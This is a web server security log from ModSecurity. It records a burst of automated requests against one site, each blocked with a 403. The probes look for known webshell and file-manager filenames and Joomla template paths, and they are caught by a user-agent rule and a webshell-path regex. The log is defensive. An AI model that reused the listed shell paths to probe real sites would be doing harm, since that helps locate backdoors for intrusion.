[Mon Dec 08 17:28:55.252992 2025] [:error] [pid 58758:tid 58776] [client 98.159.43.2:20621] [client 98.159.43.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aTaaVwBS5U6_vVkyhEeCSQAAAE4"]
[Mon Dec 08 17:28:55.605071 2025] [:error] [pid 37840:tid 37863] [client 98.159.43.15:36815] [client 98.159.43.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xleet.php"] [unique_id "aTaaV1nJIKqlie_aHNbGlAAAAZQ"]
[Mon Dec 08 17:28:55.953654 2025] [:error] [pid 2754:tid 2763] [client 98.159.43.45:34699] [client 98.159.43.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/pachr.php"] [unique_id "aTaaV7SzS4AFjS-DhTUSKQAAAUY"]
[Mon Dec 08 17:28:56.310805 2025] [:error] [pid 58758:tid 58763] [client 98.159.43.5:44009] [client 98.159.43.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aTaaWABS5U6_vVkyhEeCSwAAAEE"]
[Mon Dec 08 17:28:56.695076 2025] [:error] [pid 58758:tid 58771] [client 98.159.43.20:43705] [client 98.159.43.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aTaaWABS5U6_vVkyhEeCTQAAAEk"]
[Mon Dec 08 17:28:57.061865 2025] [:error] [pid 2754:tid 2767] [client 98.159.43.16:50029] [client 98.159.43.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "aTaaWbSzS4AFjS-DhTUSKwAAAUo"]
[Mon Dec 08 17:28:57.428532 2025] [:error] [pid 2754:tid 2778] [client 98.159.43.26:41521] [client 98.159.43.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aTaaWbSzS4AFjS-DhTUSLgAAAVQ"]
[Mon Dec 08 17:28:57.796134 2025] [:error] [pid 2754:tid 2779] [client 98.159.43.37:37955] [client 98.159.43.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/user.php"] [unique_id "aTaaWbSzS4AFjS-DhTUSLwAAAVU"]
[Mon Dec 08 17:28:58.143750 2025] [:error] [pid 58758:tid 58783] [client 98.159.43.2:40843] [client 98.159.43.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aTaaWgBS5U6_vVkyhEeCUAAAAFU"]
[Mon Dec 08 17:28:58.527915 2025] [:error] [pid 2754:tid 2780] [client 98.159.43.22:31981] [client 98.159.43.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aTaaWrSzS4AFjS-DhTUSMAAAAVY"]
[Mon Dec 08 17:28:58.906158 2025] [:error] [pid 37840:tid 37867] [client 98.159.43.38:61341] [client 98.159.43.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/text.php"] [unique_id "aTaaWlnJIKqlie_aHNbGnwAAAZg"]
[Mon Dec 08 17:28:59.260348 2025] [:error] [pid 58847:tid 58857] [client 98.159.43.20:42843] [client 98.159.43.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aTaaW3y4UHQXWKMwpHnaAQAAAQQ"]
[Mon Dec 08 17:28:59.617715 2025] [:error] [pid 58847:tid 58865] [client 98.159.43.2:51357] [client 98.159.43.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aTaaW3y4UHQXWKMwpHnaAgAAAQw"]
[Mon Dec 08 17:28:59.996710 2025] [:error] [pid 37840:tid 37863] [client 98.159.43.32:33167] [client 98.159.43.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/demo.php"] [unique_id "aTaaW1nJIKqlie_aHNbGoAAAAZQ"]
[Mon Dec 08 17:29:00.347768 2025] [:error] [pid 58760:tid 58831] [client 98.159.43.10:27227] [client 98.159.43.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aTaaXGqmF_jKbCz9E6lPowAAAA4"]
[Mon Dec 08 17:29:00.702997 2025] [:error] [pid 58758:tid 58775] [client 98.159.43.41:35163] [client 98.159.43.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aTaaXABS5U6_vVkyhEeCVAAAAE0"]
[Mon Dec 08 17:29:01.057542 2025] [:error] [pid 37840:tid 37853] [client 98.159.43.34:56105] [client 98.159.43.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aTaaXVnJIKqlie_aHNbGpgAAAYo"]
[Mon Dec 08 17:29:01.420280 2025] [:error] [pid 2754:tid 2763] [client 98.159.43.9:33397] [client 98.159.43.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xml.php"] [unique_id "aTaaXbSzS4AFjS-DhTUSNAAAAUY"]
[Mon Dec 08 17:29:01.774762 2025] [:error] [pid 37840:tid 37857] [client 98.159.43.23:21043] [client 98.159.43.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aTaaXVnJIKqlie_aHNbGqQAAAY4"]
[Mon Dec 08 17:29:02.129766 2025] [:error] [pid 2754:tid 2772] [client 98.159.43.14:31719] [client 98.159.43.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aTaaXrSzS4AFjS-DhTUSNgAAAU8"]
[Mon Dec 08 17:29:02.502059 2025] [:error] [pid 58760:tid 58825] [client 98.159.43.31:35697] [client 98.159.43.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aTaaXmqmF_jKbCz9E6lPpwAAAAg"]
[Mon Dec 08 17:29:03.017132 2025] [:error] [pid 58847:tid 58854] [client 98.159.43.43:60633] [client 98.159.43.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aTaaX3y4UHQXWKMwpHnaAwAAAQE"]
[Mon Dec 08 17:29:03.387404 2025] [:error] [pid 2754:tid 2778] [client 98.159.43.29:56181] [client 98.159.43.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aTaaX7SzS4AFjS-DhTUSOQAAAVQ"]
[Mon Dec 08 17:29:03.747634 2025] [:error] [pid 58759:tid 58803] [client 98.159.43.36:39189] [client 98.159.43.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aTaaX_6HZGkO2H0XX-h4bgAAAM0"]
[Mon Dec 08 17:29:04.115480 2025] [:error] [pid 2754:tid 2770] [client 98.159.43.21:24023] [client 98.159.43.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aTaaYLSzS4AFjS-DhTUSOwAAAU0"]
[Mon Dec 08 17:29:04.507925 2025] [:error] [pid 58847:tid 58860] [client 98.159.43.10:28249] [client 98.159.43.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aTaaYHy4UHQXWKMwpHnaBAAAAQc"]
[Mon Dec 08 17:29:04.884932 2025] [:error] [pid 58760:tid 58826] [client 98.159.43.30:50477] [client 98.159.43.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "aTaaYGqmF_jKbCz9E6lPqgAAAAk"]
[Mon Dec 08 17:29:05.239234 2025] [:error] [pid 37840:tid 37855] [client 98.159.43.43:53143] [client 98.159.43.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aTaaYVnJIKqlie_aHNbGqwAAAYw"]
[Mon Dec 08 17:29:05.601821 2025] [:error] [pid 58758:tid 58774] [client 98.159.43.47:34903] [client 98.159.43.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTaaYQBS5U6_vVkyhEeCVwAAAEw"]
[Mon Dec 08 17:29:05.962333 2025] [:error] [pid 58758:tid 58777] [client 98.159.43.40:26761] [client 98.159.43.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aTaaYQBS5U6_vVkyhEeCWQAAAE8"]
[Mon Dec 08 17:29:06.365297 2025] [:error] [pid 58759:tid 58791] [client 98.159.43.21:20903] [client 98.159.43.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aTaaYv6HZGkO2H0XX-h4cAAAAME"]
[Mon Dec 08 17:29:06.725227 2025] [:error] [pid 58758:tid 58775] [client 98.159.43.49:63137] [client 98.159.43.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/beez/admin.php"] [unique_id "aTaaYgBS5U6_vVkyhEeCXAAAAE0"]
[Mon Dec 08 17:29:07.096295 2025] [:error] [pid 58760:tid 58831] [client 98.159.43.11:38779] [client 98.159.43.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/administrator/templates/bluestork/error.php"] [unique_id "aTaaY2qmF_jKbCz9E6lPrQAAAA4"]
[Mon Dec 08 17:29:07.447421 2025] [:error] [pid 58847:tid 58873] [client 98.159.43.18:40533] [client 98.159.43.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Yamato/index.php"] [unique_id "aTaaY3y4UHQXWKMwpHnaBQAAARQ"]
[Mon Dec 08 17:29:07.848563 2025] [:error] [pid 58847:tid 58869] [client 98.159.43.48:20929] [client 98.159.43.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/administrator/templates/isis/index.php"] [unique_id "aTaaY3y4UHQXWKMwpHnaBwAAARA"]
[Mon Dec 08 17:29:08.206899 2025] [:error] [pid 2754:tid 2764] [client 98.159.43.38:30677] [client 98.159.43.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/beez3/error.php"] [unique_id "aTaaZLSzS4AFjS-DhTUSRAAAAUc"]
[Mon Dec 08 17:29:08.557612 2025] [:error] [pid 2754:tid 2763] [client 98.159.43.45:28239] [client 98.159.43.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Globy/index.php"] [unique_id "aTaaZLSzS4AFjS-DhTUSRgAAAUY"]
[Mon Dec 08 17:29:08.950422 2025] [:error] [pid 58760:tid 58833] [client 98.159.43.1:35781] [client 98.159.43.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/ja_purity/index.php"] [unique_id "aTaaZGqmF_jKbCz9E6lPrwAAABA"]
[Mon Dec 08 17:29:09.316830 2025] [:error] [pid 58760:tid 58826] [client 98.159.43.49:23523] [client 98.159.43.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/atomic/error.php"] [unique_id "aTaaZWqmF_jKbCz9E6lPsQAAAAk"]
[Mon Dec 08 17:29:09.677406 2025] [:error] [pid 2754:tid 2771] [client 98.159.43.15:56671] [client 98.159.43.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/beez5/index.php"] [unique_id "aTaaZbSzS4AFjS-DhTUSSAAAAU4"]
[Mon Dec 08 17:29:10.074068 2025] [:error] [pid 63353:tid 63370] [client 98.159.43.7:60031] [client 98.159.43.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Beez3/index.php"] [unique_id "aTaaZhtg8HdYG392GAj-tAAAAI4"]
[Mon Dec 08 17:29:10.431332 2025] [:error] [pid 58758:tid 58763] [client 98.159.43.28:63323] [client 98.159.43.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/rhuk_solarflare_ii/index.php"] [unique_id "aTaaZgBS5U6_vVkyhEeCXwAAAEE"]
[Mon Dec 08 17:29:10.816276 2025] [:error] [pid 2754:tid 2777] [client 98.159.43.4:28989] [client 98.159.43.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Protostar/index.php"] [unique_id "aTaaZrSzS4AFjS-DhTUSTAAAAVM"]
[Mon Dec 08 17:29:11.178923 2025] [:error] [pid 2754:tid 2766] [client 98.159.43.11:35493] [client 98.159.43.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/rhuk_milkyway/index.php"] [unique_id "aTaaZ7SzS4AFjS-DhTUSTQAAAUk"]
[Mon Dec 08 17:29:11.579007 2025] [:error] [pid 37840:tid 37857] [client 98.159.43.49:22225] [client 98.159.43.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/administrator/templates/isis/error.php"] [unique_id "aTaaZ1nJIKqlie_aHNbGrAAAAY4"]
[Mon Dec 08 17:29:11.944668 2025] [:error] [pid 58847:tid 58865] [client 98.159.43.47:64119] [client 98.159.43.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/beez_20/index.php"] [unique_id "aTaaZ3y4UHQXWKMwpHnaCQAAAQw"]
[Mon Dec 08 17:29:12.304793 2025] [:error] [pid 2754:tid 2775] [client 98.159.43.38:29007] [client 98.159.43.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Globy/error.php"] [unique_id "aTaaaLSzS4AFjS-DhTUSUgAAAVE"]
[Mon Dec 08 17:29:12.666975 2025] [:error] [pid 58759:tid 58813] [client 98.159.43.31:57487] [client 98.159.43.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Protostar/error.php"] [unique_id "aTaaaP6HZGkO2H0XX-h4eQAAANc"]
[Mon Dec 08 17:29:13.021420 2025] [:error] [pid 58847:tid 58877] [client 98.159.43.49:52079] [client 98.159.43.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/administrator/templates/hathor/error.php"] [unique_id "aTaaaXy4UHQXWKMwpHnaCgAAARg"]
[Mon Dec 08 17:29:13.655765 2025] [:error] [pid 63353:tid 63374] [client 98.159.43.39:26201] [client 98.159.43.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Atomic/error.php"] [unique_id "aTaaaRtg8HdYG392GAj-uwAAAJI"]
[Mon Dec 08 17:29:14.008007 2025] [:error] [pid 58759:tid 58801] [client 98.159.43.5:27311] [client 98.159.43.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/isis/error.php"] [unique_id "aTaaav6HZGkO2H0XX-h4fQAAAMs"]
[Mon Dec 08 17:29:14.362856 2025] [:error] [pid 37840:tid 37865] [client 98.159.43.24:46269] [client 98.159.43.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Hoxa/error.php"] [unique_id "aTaaalnJIKqlie_aHNbGvwAAAZY"]
[Mon Dec 08 17:29:14.784686 2025] [:error] [pid 2754:tid 2772] [client 98.159.43.39:49697] [client 98.159.43.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/BeginDot/error.php"] [unique_id "aTaaarSzS4AFjS-DhTUSVQAAAU8"]
[Mon Dec 08 17:29:15.138488 2025] [:error] [pid 58758:tid 58785] [client 98.159.43.18:32303] [client 98.159.43.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Raees/index.php"] [unique_id "aTaaawBS5U6_vVkyhEeCigAAAFc"]
